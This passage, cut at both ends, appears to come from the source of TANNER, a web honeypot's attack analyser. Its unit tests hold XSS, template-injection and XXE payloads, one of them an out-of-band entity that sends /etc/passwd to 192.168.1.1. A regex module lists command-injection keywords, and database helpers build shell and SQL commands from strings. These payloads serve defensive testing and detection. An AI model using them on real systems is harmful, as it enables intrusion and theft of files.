vice versa is possible\n        test_xss = '<img/src=\"1\"/onerror=alert(0)>'  # space bypass xss payload\n        verify_xss = patterns.XSS_ATTACK.match(test_xss)\n        self.returned_result = self.handler.scan(test_xss)\n        self.expected_result = None\n        self.assertEqual(self.returned_result, self.expected_result)\n        self.assertTrue(verify_xss)\n\n    def test_handle_tornado(self):\n        self.handler.docker_helper.execute_cmd = AsyncMock(return_value='posix.uname_result(sysname=\"Linux\")')\n        payload = \"{%import os%}{{os.uname()}}\"\n\n        attack_params = [dict(id=\"foo\", value=payload)]\n        self.returned_result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))\n        self.expected_result = os.uname()\n\n        self.assertIn(self.expected_result[0], self.returned_result[\"value\"])\n\n    def test_handle_mako(self):\n        self.handler.docker_helper.execute_cmd = AsyncMock(return_value='posix.uname_result(sysname=\"Linux\")')\n        payload = \"<%\\nimport os\\nx=os.uname()\\n%>\\n${x}\"\n\n        attack_params = [dict(id=\"foo\", value=payload)]\n        self.returned_result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess))\n        self.expected_result = os.uname()\n        self.assertIn(self.expected_result[0], self.returned_result[\"value\"])\n\n    def tearDown(self):\n        self.loop.run_until_complete(self.handler.docker_helper.docker_client.close())\n        self.loop.close()\n"
  },
  {
    "path": "tanner/tests/test_web_server.py",
    "content": "import asyncio\n\nfrom aiohttp.test_utils import AioHTTPTestCase, unittest_run_loop\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.web.server import TannerWebServer\n\n\nclass TestWebServer(AioHTTPTestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n\n        self.handler = TannerWebServer()\n        self.handler.api = AsyncMock()\n        self.handler.redis_client = AsyncMock()\n        self.handler.redis_client.close = AsyncMock()\n\n        self.returned_content = None\n        self.expected_content = None\n\n        super(TestWebServer, self).setUp()\n\n    async def get_application(self):\n        app = await self.handler.make_app()\n        return app\n\n    @unittest_run_loop\n    async def test_handle_index(self):\n        self.handler.api.return_snares = AsyncMock(return_value=[\"foo\"])\n        self.handler.api.return_latest_session = AsyncMock()\n        response = await self.client.request(\"GET\", \"/\")\n        self.returned_content = await response.text()\n\n        self.assertEqual(response.status, 200)\n\n    @unittest_run_loop\n    async def test_handle_snares(self):\n        self.handler.api.return_snares = AsyncMock(return_value=[\"9a631aee-2b52-4108-9831-b495ac8afa80\"])\n\n        response = await self.client.request(\"GET\", \"/snares\")\n        self.returned_content = await response.text()\n\n        self.expected_content = (\n            '<a href=\"/snare/9a631aee-2b52-4108-9831-b495ac8afa80\">' \"9a631aee-2b52-4108-9831-b495ac8afa80</a>\"\n        )\n        self.assertIn(self.expected_content, self.returned_content)\n\n    @unittest_run_loop\n    async def test_handle_snare(self):\n\n        response = await self.client.request(\"GET\", \"/snare/9a631aee-2b52-4108-9831-b495ac8afa80\")\n\n        self.returned_content = await response.text()\n\n        self.expected_content = \"<title>Snare(9a631aee-2b52-4108-9831-b495ac8afa80) - Tanner Web</title>\"\n        self.assertIn(self.expected_content, self.returned_content)\n\n    @unittest_run_loop\n    async def test_handle_snare_stats(self):\n\n        content = {\"attack_frequency\": {\"cmd_exec\": 1, \"lfi\": 2, \"rfi\": 1, \"sqli\": 0, \"xss\": 1}}\n\n        self.handler.api.return_snare_stats = AsyncMock(return_value=content)\n\n        response = await self.client.request(\"GET\", \"/snare-stats/9a631aee-2b52-4108-9831-b495ac8afa80\")\n        self.returned_content = await response.text()\n        self.clear_returned_content = \"\".join(self.returned_content.split()[65:-8])\n        self.expected_content = (\n            \"<tr><td><b>AttackFrequency</b></td><td>cmd_exec:1<br>lfi:2\" \"<br>rfi:1<br>sqli:0<br>xss:1<br></td>\"\n        )\n        self.assertEqual(self.expected_content, self.clear_returned_content.strip())\n\n    @unittest_run_loop\n    async def test_handle_sessions(self):\n        async def mock_return_sessions(filters):\n            if (\n                filters[\"peer_ip\"] == \"127.0.0.1\"\n                and filters[\"start_time\"] == 1497890400\n                and filters[\"user_agent\"] == \"Mozilla/5.0\"\n            ):\n\n                return [\n                    {\"sess_uuid\": \"f387d46eaeb1454cadf0713a4a55be49\"},\n                    {\"sess_uuid\": \"e85ae767b0bb4b1f91b421b3a28082ef\"},\n                ]\n\n        self.handler.api.return_sessions = mock_return_sessions\n\n        response = await self.client.request(\n            \"GET\",\n            \"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions/page/2?filters=peer_ip:127.0.0.1 start_time:1497890400 user_agent:Mozilla/5.0\",\n        )  # noqa\n        self.returned_content = await response.text()\n\n        self.expected_content = (\n            \"<th>Session-uuid</th>\\n    <th>IP</th>\\n    <th>Owner</th>\\n  </tr>\\n  \"\n            '\\n</table>\\n<br>\\n<div align=\"center\">\\n  '\n            '<a href=\"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions/page/1?'\n            'filters=peer_ip:127.0.0.1 start_time:1497890400 user_agent:Mozilla/5.0\">'\n        )\n\n        self.assertIn(self.expected_content, self.returned_content)\n\n    @unittest_run_loop\n    async def test_handle_sessions_error(self):\n\n        with self.assertLogs(level=\"ERROR\") as log:\n            response = await self.client.request(\n                \"GET\",\n                \"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions/page/1?filters=start_time:1497890400,peer_ip:127.0.0.1\",\n            )  # noqa\n\n            self.assertIn(\"Filter error :\", log.output[0])\n\n    @unittest_run_loop\n    async def test_sessions_info(self):\n        session = dict(\n            cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"},\n            possible_owners={\"user\": 1.0},\n            attack_count={\"lfi\": 1},\n        )\n\n        self.handler.api.return_session_info = AsyncMock(return_value=session)\n\n        self.expected_content = (\n            \"<td><b>Cookies</b></td>\\n    <td>\\n    \\n      \"\n            \"sess_uuid : 9f82e5d0e6b64047bba996222d45e72c <br>\\n    \\n    </td>\\n  </tr>\\n  \"\n            \"<tr>\\n    <td><b>Referer</b></td>\\n    <td></td>\\n  </tr>\\n  <tr>\\n    \"\n            \"<td><b>Possible Owners</b></td>\\n    <td>\\n    \\n      \"\n            '<a href=\"//sessions/page/1?filters=possible_owners:user\">user : 1.0</a><br>\\n'\n        )\n\n        response = await self.client.request(\"GET\", \"/session/da1811cd19d748058bc02ee5bf9029d4\")\n        self.returned_content = await response.text()\n\n        self.assertIn(self.expected_content, self.returned_content)\n"
  },
  {
    "path": "tanner/tests/test_xss_emulator.py",
    "content": "import asyncio\nimport unittest\n\nfrom tanner.emulators import xss\nfrom tanner.utils import patterns\n\n\nclass TestXSSEmulator(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = xss.XssEmulator()\n\n    def test_scan(self):\n        attack = \"<script>alert(1);</script>\"\n        assert_result = dict(name=\"xss\", order=3)\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_scan_negative(self):\n        attack = \"alert(1);\"\n        assert_result = None\n        result = self.handler.scan(attack)\n        self.assertEqual(result, assert_result)\n\n    def test_xxs_mako_regex(self):\n        # Mako payloads can be matched with XSS but not vice versa\n        test_mako = \"<% x=7*7 %>${x}\"  # basic mako injection payload\n        verify_mako = patterns.TEMPLATE_INJECTION_MAKO.match(test_mako)\n        assert_result = dict(name=\"xss\", order=3)\n        result = self.handler.scan(test_mako)\n        self.assertEqual(result, assert_result)\n        self.assertTrue(verify_mako)\n\n    def test_multiple_xss(self):\n        attack_params = [\n            dict(id=\"comment\", value=\"<script>alert('comment');</script>\"),\n            dict(id=\"name\", value=\"<script>alert('name');</script>\"),\n            dict(id=\"email\", value=\"<script>alert('email');</script>\"),\n        ]\n        xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n        assert_result = \"<script>alert('name');</script>\"\n        self.assertIn(assert_result, xss[\"value\"])\n\n    def test_xss(self):\n        attack_params = [dict(id=\"foo\", value=\"<script>alert('xss');</script>\")]\n        xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n\n        assert_result = dict(value=attack_params[0][\"value\"], page=True)\n        self.assertDictEqual(xss, assert_result)\n"
  },
  {
    "path": "tanner/tests/test_xxe_injection.py",
    "content": "import asyncio\nimport unittest\n\nfrom unittest import mock\nfrom tanner import config\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.xxe_injection import XXEInjection\n\n\nclass TestXXEInjection(unittest.TestCase):\n    def setUp(self):\n        self.loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(None)\n        self.handler = XXEInjection(loop=self.loop)\n        self.result = None\n        self.expected_result = None\n        self.returned_result = None\n\n    def test_scan(self):\n        payload = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>' \"<!DOCTYPE foo [ <!ELEMENT foo ANY >\"\n\n        self.expected_result = dict(name=\"xxe_injection\", order=3)\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_scan_negative(self):\n        payload = '<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>'\n\n        self.expected_result = None\n        self.returned_result = self.handler.scan(payload)\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_handle_status_code(self):\n        self.handler.get_injection_result = AsyncMock(return_value=None)\n\n        attack_params = [dict(id=\"foo\", value='<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>')]\n        self.expected_result = dict(status_code=504)\n\n        async def test():\n            self.returned_result = await self.handler.handle(attack_params)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result, self.expected_result)\n\n    def test_handle(self):\n        config.TannerConfig.get = mock.MagicMock(return_value=False)\n\n        code = (\n            '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>'\n            \"<!DOCTYPE foo [ <!ELEMENT foo ANY >\"\n            '<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>'\n            \"<data>&xxe;</data>\"\n        )\n\n        attack_params = [dict(id=\"foo\", value=code)]\n        self.handler.helper.get_result = AsyncMock(\n            return_value={\n                \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n                \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n            }\n        )\n\n        self.expected_result = \"root:x:0:0:root:/root:/bin/bash\"\n\n        async def test():\n            self.returned_result = await self.handler.handle(attack_params)\n\n        self.loop.run_until_complete(test())\n        self.assertIn(self.expected_result, self.returned_result[\"value\"])\n\n    def test_handle_oob(self):\n        config.TannerConfig.get = mock.MagicMock(return_value=True)\n\n        code = (\n            '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>'\n            \"<!DOCTYPE foo [ <!ELEMENT foo ANY >\"\n            '<!ENTITY % xxe SYSTEM \"file:///etc/passwd\">'\n            \"<!ENTITY % int '<!ENTITY % trick SYSTEM ]>\"\n            '\"http://192.168.1.1:8080/?p=%xxe;\">\\'> '\n        )\n\n        attack_params = [dict(id=\"OOB\", value=code)]\n        self.handler.helper.get_result = AsyncMock(\n            return_value={\n                \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n                \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n            }\n        )\n\n        self.expected_result = \"\"\n\n        async def test():\n            self.returned_result = await self.handler.handle(attack_params)\n\n        self.loop.run_until_complete(test())\n        self.assertEqual(self.returned_result[\"value\"], self.expected_result)\n"
  },
  {
    "path": "tanner/utils/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/utils/aiodocker_helper.py",
    "content": "import aiodocker\nimport logging\n\nfrom tanner.config import TannerConfig\n\n\nclass AIODockerHelper:\n    def __init__(self):\n\n        self.logger = logging.getLogger(\"tanner.aiodocker_helper.AIODockerHelper\")\n\n        self.docker_client = aiodocker.Docker()\n        self.host_image = TannerConfig.get(\"DOCKER\", \"host_image\")\n\n    async def setup_host_image(self, remote_path=None, tag=None):\n        \"\"\"\n        Helper to pull host image or build an image with remote Dockerfile\n        :param remote_path (str): remote path of Dockerfile\n        :param tag (str): tag to be given to new image build ex: 'myimage:latest'\n        \"\"\"\n\n        try:\n            if remote_path and tag is not None:\n                params = {\"tag\": tag, \"remote\": remote_path}\n                await self.docker_client.images.build(**params)\n\n            else:\n                image = await self.docker_client.images.list(filter=self.host_image)\n                if not image:\n                    await self.docker_client.images.pull(self.host_image)\n\n        except aiodocker.exceptions.DockerError as docker_error:\n            self.logger.exception(\"Error while pulling %s image %s\", self.host_image, docker_error)\n\n    async def get_container(self, container_name):\n        \"\"\"\n        Gets the container object having specified name\n        :param container_name (str): name of the target container\n        :return: container (object)\n        \"\"\"\n        container = None\n        try:\n            container = await self.docker_client.containers.get(container=container_name)\n\n        except aiodocker.exceptions.DockerError as server_error:\n            self.logger.exception(\"Error while fetching %s container %s\", container_name, server_error)\n        return container\n\n    async def create_container(self, container_name, cmd=None, image=None):\n        \"\"\"\n        Helper to create or replace a container (initially pulls the given image)\n        :param container_name (str): name to be given to new container or replace existing if any\n        :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n        :param image (str): name of image to be used\n        :return: container (object): newly created container object\n        \"\"\"\n        await self.setup_host_image()\n        container = None\n        if image is None:\n            image = self.host_image\n\n        config = {\"Cmd\": cmd, \"Image\": image}\n        try:\n            container = await self.docker_client.containers.create_or_replace(config=config, name=container_name)\n\n        except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as docker_error:\n            self.logger.exception(\"Error while creating a container %s\", docker_error)\n        return container\n\n    async def execute_cmd(self, cmd, image=None):\n        \"\"\"\n        Creates a new container, runs the cmd in it and deletes the used container\n        :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n        :param image (str): name of image to be used\n        :return: execute_result (str): execution output/errors of cmd from the container\n        \"\"\"\n        execute_result = None\n        try:\n            if image is None:\n                image = self.host_image\n\n            config = {\"Cmd\": cmd, \"Image\": image}\n            container = await self.docker_client.containers.run(config=config)\n\n            await container.wait()\n            result_exists = await container.log(stdout=True, stderr=True)\n            if result_exists:\n                execute_result = \"\".join(result_exists)\n\n            # Deleting the used container\n            await container.delete(force=True)\n\n        except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as server_error:\n            self.logger.error(\"Error while executing command %s in container %s\", cmd, server_error)\n        return execute_result\n\n    async def delete_container(self, container_name):\n        \"\"\"\n        Delete an existing container\n        :param container_name (str): name of container to be deleted\n        \"\"\"\n        container = await self.get_container(container_name)\n        try:\n            if container:\n                await container.delete(force=True)\n        except aiodocker.exceptions.DockerError as server_error:\n            self.logger.exception(\"Error while removing %s container %s\", container_name, server_error)\n"
  },
  {
    "path": "tanner/utils/api_key_generator.py",
    "content": "import jwt\nfrom tanner.config import TannerConfig\n\n\ndef generate():\n    key = TannerConfig.get(\"API\", \"auth_signature\")\n    encoded = jwt.encode({\"user\": \"tanner_owner\"}, key, algorithm=\"HS256\")\n    return encoded.decode(\"utf-8\")\n"
  },
  {
    "path": "tanner/utils/asyncmock.py",
    "content": "from unittest.mock import Mock\n\n\nclass AsyncMock(Mock):  # custom function defined to mock asyncio coroutines\n    def __call__(self, *args, **kwargs):\n        sup = super(AsyncMock, self)\n\n        async def coro():\n            return sup.__call__(*args, **kwargs)\n\n        return coro()\n\n    def __await__(self):\n        return self().__await__()\n"
  },
  {
    "path": "tanner/utils/base_db_helper.py",
    "content": "import json\nimport logging\nimport random\n\nimport mimesis\n\nfrom tanner.config import TannerConfig\n\n\nclass BaseDBHelper:\n    def __init__(self):\n        self.logger = logging.getLogger(\"tanner.base_db_helper.BaseDBHelper\")\n\n    def read_config(self):\n        with open(TannerConfig.get(\"DATA\", \"db_config\")) as db_config:\n            try:\n                config = json.load(db_config)\n            except json.JSONDecodeError as json_error:\n                self.logger.info(\"Failed to load json: %s\", json_error)\n            else:\n                return config\n\n    @staticmethod\n    def generate_dummy_data(data_tokens):\n        \"\"\"\n        Insert dummy data based on data tokens\n        I - integer id\n        L - login/username\n        E - email\n        P - password\n        T - piece of text\n        :return:\n        \"\"\"\n\n        token_list = data_tokens.split(\",\")\n\n        samples_count = random.randint(100, 1000)\n        inserted_data = []\n        for i in range(samples_count):\n            values = []\n            person = mimesis.Person(\"en\")\n            for token in token_list:\n                person = mimesis.Person()\n                if token == \"I\":\n                    values.append(i)\n                if token == \"L\":\n                    data = person.username()\n                    values.append(data)\n                if token == \"E\":\n                    data = person.email()\n                    values.append(data)\n                if token == \"P\":\n                    data = person.password()\n                    values.append(data)\n                if token == \"T\":\n                    sample_length = random.randint(1, 10)\n                    data = mimesis.Text().text(quantity=sample_length)\n                    values.append(data)\n            inserted_data.append(tuple(values))\n\n        return inserted_data, token_list\n"
  },
  {
    "path": "tanner/utils/logger.py",
    "content": "import logging\nimport logging.handlers\n\nfrom tanner.config import TannerConfig\n\n\nclass LevelFilter(logging.Filter):\n    \"\"\"Filters (lets through) all messages with level < LEVEL\"\"\"\n\n    def __init__(self, level):\n        self.level = level\n\n    def filter(self, record):\n        # \"<\" instead of \"<=\": since logger.setLevel is inclusive, this should be exclusive\n        return record.levelno < self.level\n\n\nclass Logger:\n    @staticmethod\n    def create_logger(debug_filename, err_filename, logger_name):\n        if TannerConfig.get(\"CLEANLOG\", \"enabled\") == \"True\":\n            with open(err_filename, \"w\"):\n                pass\n\n        logger = logging.getLogger(logger_name)\n        logger.setLevel(logging.DEBUG)\n        logger.propagate = False\n        formatter = logging.Formatter(\n            fmt=\"%(asctime)s %(levelname)s:%(name)s:%(funcName)s: %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\"\n        )\n\n        # ERROR log to 'tanner.err'\n        error_log_handler = logging.handlers.RotatingFileHandler(err_filename, encoding=\"utf-8\")\n        error_log_handler.setLevel(logging.ERROR)\n        error_log_handler.setFormatter(formatter)\n        logger.addHandler(error_log_handler)\n\n        # DEBUG log to 'tanner.log'\n        debug_log_handler = logging.handlers.RotatingFileHandler(debug_filename, encoding=\"utf-8\")\n        debug_log_handler.setLevel(logging.DEBUG)\n        debug_log_handler.setFormatter(formatter)\n        max_level_filter = LevelFilter(logging.ERROR)\n        debug_log_handler.addFilter(max_level_filter)\n        logger.addHandler(debug_log_handler)\n\n        return logger\n"
  },
  {
    "path": "tanner/utils/mysql_db_helper.py",
    "content": "import logging\nimport subprocess\nimport aiomysql\n\nfrom tanner.config import TannerConfig\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass MySQLDBHelper(BaseDBHelper):\n\n    # Helper Utility of basic functions for mysqli emulator\n\n    def __init__(self):\n        super(MySQLDBHelper, self).__init__()\n        self.logger = logging.getLogger(\"tanner.db_helper.MySQLDBHelper\")\n\n    async def connect_to_db(self):\n        \"\"\"\n        Creates a aiomysql connection\n        :return: connection object\n        \"\"\"\n\n        conn = await aiomysql.connect(\n            host=TannerConfig.get(\"SQLI\", \"host\"),\n            user=TannerConfig.get(\"SQLI\", \"user\"),\n            password=TannerConfig.get(\"SQLI\", \"password\"),\n        )\n        return conn\n\n    async def check_db_exists(self, db_name):\n        \"\"\"\n        Checks if DB exists or not\n        :param db_name (str): mysql db name\n        :return: result (int): 0 if no such database exists else 1\n        \"\"\"\n\n        conn = await self.connect_to_db()\n        cursor = await conn.cursor()\n        check_DB_exists_query = \"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA \"\n        check_DB_exists_query += \"WHERE SCHEMA_NAME='{db_name}'\".format(db_name=db_name)\n        await cursor.execute(check_DB_exists_query)\n        result = await cursor.fetchall()\n        return len(result)\n\n    async def setup_db_from_config(self, name=None):\n        \"\"\"\n        Helper function to setup DB from db_config.json and inserts dummy data in the created DB.\n        :param name (str): database name\n        \"\"\"\n\n        config = self.read_config()\n        if name is not None:\n            db_name = name\n        else:\n            db_name = config[\"name\"]\n\n        conn = await self.connect_to_db()\n        cursor = await conn.cursor()\n        create_db_query = \"CREATE DATABASE {db_name}\"\n        await cursor.execute(create_db_query.format(db_name=db_name))\n        await cursor.execute(\"USE {db_name}\".format(db_name=db_name))\n\n        for table in config[\"tables\"]:\n            query = table[\"schema\"]\n            await cursor.execute(query)\n            await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n            await conn.commit()\n\n        conn.close()\n\n    async def delete_db(self, db):\n        \"\"\"\n        Deletes the database\n        :param db (str): db name to be deleted\n        \"\"\"\n\n        conn = await self.connect_to_db()\n        cursor = await conn.cursor()\n        delete_db_query = \"DROP DATABASE {db_name}\"\n        await cursor.execute(delete_db_query.format(db_name=db))\n        await conn.commit()\n        conn.close()\n\n    async def copy_db(self, user_db, attacker_db):\n        \"\"\"\n        Copies the user database to new attacker database\n        :param user_db (str): existing user db\n        :param attacker_db (str): new db to be created\n        :return: new created db (str)\n        \"\"\"\n\n        db_exists = await self.check_db_exists(attacker_db)\n        if db_exists:\n            self.logger.info(\"Attacker db already exists\")\n        else:\n            # create new attacker db\n            conn = await self.connect_to_db()\n            cursor = await conn.cursor()\n            await cursor.execute(\"CREATE DATABASE {db_name}\".format(db_name=attacker_db))\n            conn.close()\n            # copy user db to attacker db\n            dump_db_cmd = \"mysqldump -h {host} -u {user} -p{password} {db_name}\"\n            restore_db_cmd = \"mysql -h {host} -u {user} -p{password} {db_name}\"\n            dump_db_cmd = dump_db_cmd.format(\n                host=TannerConfig.get(\"SQLI\", \"host\"),\n                user=TannerConfig.get(\"SQLI\", \"user\"),\n                password=TannerConfig.get(\"SQLI\", \"password\"),\n                db_name=user_db,\n            )\n            restore_db_cmd = restore_db_cmd.format(\n                host=TannerConfig.get(\"SQLI\", \"host\"),\n                user=TannerConfig.get(\"SQLI\", \"user\"),\n                password=TannerConfig.get(\"SQLI\", \"password\"),\n                db_name=attacker_db,\n            )\n            try:\n                dump_db_process = subprocess.Popen(dump_db_cmd, stdout=subprocess.PIPE, shell=True)\n                restore_db_process = subprocess.Popen(restore_db_cmd, stdin=dump_db_process.stdout, shell=True)\n                dump_db_process.stdout.close()\n                dump_db_process.wait()\n                restore_db_process.wait()\n            except subprocess.CalledProcessError as e:\n                self.logger.exception(\"Error during copying sql database : %s\" % e)\n        return attacker_db\n\n    async def insert_dummy_data(self, table_name, data_tokens, cursor):\n        \"\"\"\n        Inserts dummy data in the table based on input data tokens for ex: 'I,L'\n        :param table_name (str): table in which data to be inserted\n        :param data_tokens (str): input data format tokens\n        :param cursor (object): current db cursor\n        \"\"\"\n\n        inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n        inserted_string_patt = \"%s\"\n        if len(token_list) > 1:\n            inserted_string_patt += \",\"\n            inserted_string_patt *= len(token_list)\n            inserted_string_patt = inserted_string_patt[:-1]\n\n        await cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n    async def create_query_map(self, db_name):\n        \"\"\"\n        Returns a query map of the tables and its columns present in the database\n        :param db_name (str): current database\n        :return: query_map (dict): Created Query Map\n        \"\"\"\n\n        query_map = {}\n        tables = []\n        conn = await self.connect_to_db()\n        cursor = await conn.cursor()\n\n        select_tables = \"SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema= '{db_name}'\"\n\n        try:\n            await cursor.execute(select_tables.format(db_name=db_name))\n            result = await cursor.fetchall()\n            for row in result:\n                tables.append(row[0])\n        except Exception as e:\n            self.logger.exception(\"Error during query map creation\")\n        else:\n            query_map = dict.fromkeys(tables)\n            for table in tables:\n                query = \"SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE \\\n                table_name= '{table_name}' AND table_schema= '{db_name}'\"\n\n                columns = []\n                try:\n                    await cursor.execute(query.format(table_name=table, db_name=db_name))\n                    result = await cursor.fetchall()\n                    for row in result:\n                        if row[7] == \"int\":\n                            columns.append(dict(name=row[3], type=\"INTEGER\"))\n                        else:\n                            columns.append(dict(name=row[3], type=\"TEXT\"))\n                    query_map[table] = columns\n                except Exception:\n                    self.logger.exception(\"Error during query map creation\")\n        return query_map\n"
  },
  {
    "path": "tanner/utils/patterns.py",
    "content": "import re\n\nINDEX = re.compile(r\"(/index.html|/)\")\nRFI_ATTACK = re.compile(r\".*((http(s){0,1}|ftp(s){0,1}):).*\", re.IGNORECASE)\nLFI_ATTACK = re.compile(r\".*(/\\.\\.)*(home|proc|usr|etc)/.*\")\nLFI_FILEPATH = re.compile(r\"((\\.\\.|/).*)\")\nCMD_ATTACK = re.compile(\n    r\".*[^A-z:./]\"\n    r\"(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while)\"\n    r\"([^A-z:./]|\\b)\"\n)\nPHP_CODE_INJECTION = re.compile(r\".*(;)*(echo|system|print|phpinfo)(\\(.*\\)).*\")\nPHP_OBJECT_INJECTION = re.compile(r\"(^|;|{|})O:[0-9]+:\")\nCRLF_ATTACK = re.compile(r\".*(\\r\\n).*\")\nXXE_INJECTION = re.compile(r\".*<(\\?xml|(!DOCTYPE.*)).*>\")\nTEMPLATE_INJECTION_MAKO = re.compile(r\".*(<%.*|\\s%>).*\")\nTEMPLATE_INJECTION_TORNADO = re.compile(r\".*({{.*}}).*\")\nXSS_ATTACK = re.compile(r\".*<(.|\\n)*?>\")\nREMOTE_FILE_URL = re.compile(r\"(.*(http(s){0,1}|ftp(s){0,1}):.*)\")\nWORD_PRESS_CONTENT = re.compile(r\"/wp-content/.*\")\nHTML_TAGS = re.compile(r\".*<(.*)>.*\")\nQUERY = re.compile(r\".*\\?.*=\")\n"
  },
  {
    "path": "tanner/utils/php_sandbox_helper.py",
    "content": "import logging\nimport asyncio\nimport aiohttp\nfrom tanner import config\n\n\nclass PHPSandboxHelper:\n    def __init__(self, loop):\n        self.logger = logging.getLogger(\"tanner.php_sandbox_helper.PHPSandboxHelper\")\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n\n    async def get_result(self, code):\n        \"\"\"\n        Helper utility to get injection results from PHPOX\n        :param code: Payload from the attacker to be injected in vulnerable code\n        :return: Dict object containing file_md5 and stdout - contains injection results\n        \"\"\"\n        result = None\n\n        phpox_address = \"http://{host}:{port}\".format(\n            host=config.TannerConfig.get(\"PHPOX\", \"host\"), port=config.TannerConfig.get(\"PHPOX\", \"port\")\n        )\n\n        try:\n            async with aiohttp.ClientSession(loop=self._loop) as session:\n                async with session.post(phpox_address, data=code) as resp:\n                    result = await resp.json()\n        except aiohttp.ClientError as client_error:\n            self.logger.error(\"Error during connection to php sandbox %s\", client_error)\n        finally:\n            await session.close()\n        return result\n"
  },
  {
    "path": "tanner/utils/sqlite_db_helper.py",
    "content": "import logging\nimport os\nimport shutil\nimport sqlite3\n\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass SQLITEDBHelper(BaseDBHelper):\n    def __init__(self):\n        super(SQLITEDBHelper, self).__init__()\n        self.logger = logging.getLogger(\"tanner.sqlite_db_helper.SQLITEDBHelper\")\n\n    async def setup_db_from_config(self, working_dir, name=None):\n        \"\"\"\n        Creates database using config (dict object containing name and tables as keys)\n        :param working_dir: Current working directory\n        :param name: Name of database to be created\n        \"\"\"\n        config = self.read_config()\n        if name is not None:\n            db_name = os.path.join(working_dir, name)\n        else:\n            db_name = os.path.join(working_dir, config[\"name\"])\n\n        conn = sqlite3.connect(db_name)\n        cursor = conn.cursor()\n        for table in config[\"tables\"]:\n            query = table[\"schema\"]\n            cursor.execute(query)\n            await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n            conn.commit()\n\n        conn.close()\n\n    @staticmethod\n    def get_abs_path(path, working_dir):\n        \"\"\"\n        Returns the full path with working directory\n        :param path (str): Current path\n        :param working_dir (str): Current working directory\n        :return: str of full path\n        \"\"\"\n        if not os.path.isabs(path):\n            path = os.path.normpath(os.path.join(working_dir, path))\n        return path\n\n    @staticmethod\n    def delete_db(db):\n        if db is not None and os.path.exists(db):\n            os.remove(db)\n\n    def copy_db(self, src, dst, working_dir):\n        src = self.get_abs_path(src, working_dir)\n        dst = self.get_abs_path(dst, working_dir)\n        if os.path.exists(dst):\n            self.logger.info(\"Attacker db already exists\")\n        else:\n            shutil.copy(src, dst)\n        return dst\n\n    async def insert_dummy_data(self, table_name, data_tokens, cursor):\n        \"\"\"\n        Inserts Dummy data in the current sqlite database\n        :param table_name (str): Table to inject dummy data\n        :param data_tokens (str): Tokens to generate dummy data, eg: 'I,L' to get integer ID and username data\n        :param cursor (object): Cursor attached with current DB\n        \"\"\"\n        inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n        inserted_string_patt = \"?\"\n        if len(token_list) > 1:\n            inserted_string_patt += \",\"\n            inserted_string_patt *= len(token_list)\n            inserted_string_patt = inserted_string_patt[:-1]\n\n        cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n    def create_query_map(\n        self,\n        working_dir,\n        db_name,\n    ):\n        \"\"\"\n        Returns a query map from all the present tables and its columns\n        :param working_dir (str): Current working directory\n        :param db_name (str): Current sqlite database\n        :return: Dict object with tables names as keys and list of columns as its values\n        \"\"\"\n        query_map = {}\n        tables = []\n\n        db = os.path.join(working_dir, db_name)\n        conn = sqlite3.connect(db)\n        cursor = conn.cursor()\n\n        select_tables = \"SELECT name FROM sqlite_master WHERE type='table'\"\n\n        try:\n            for row in cursor.execute(select_tables):\n                tables.append(row[0])\n        except sqlite3.OperationalError as sqlite_error:\n            self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n        else:\n            query_map = dict.fromkeys(tables)\n            for table in tables:\n                query = \"PRAGMA table_info(\" + table + \")\"\n                columns = []\n                try:\n                    for row in 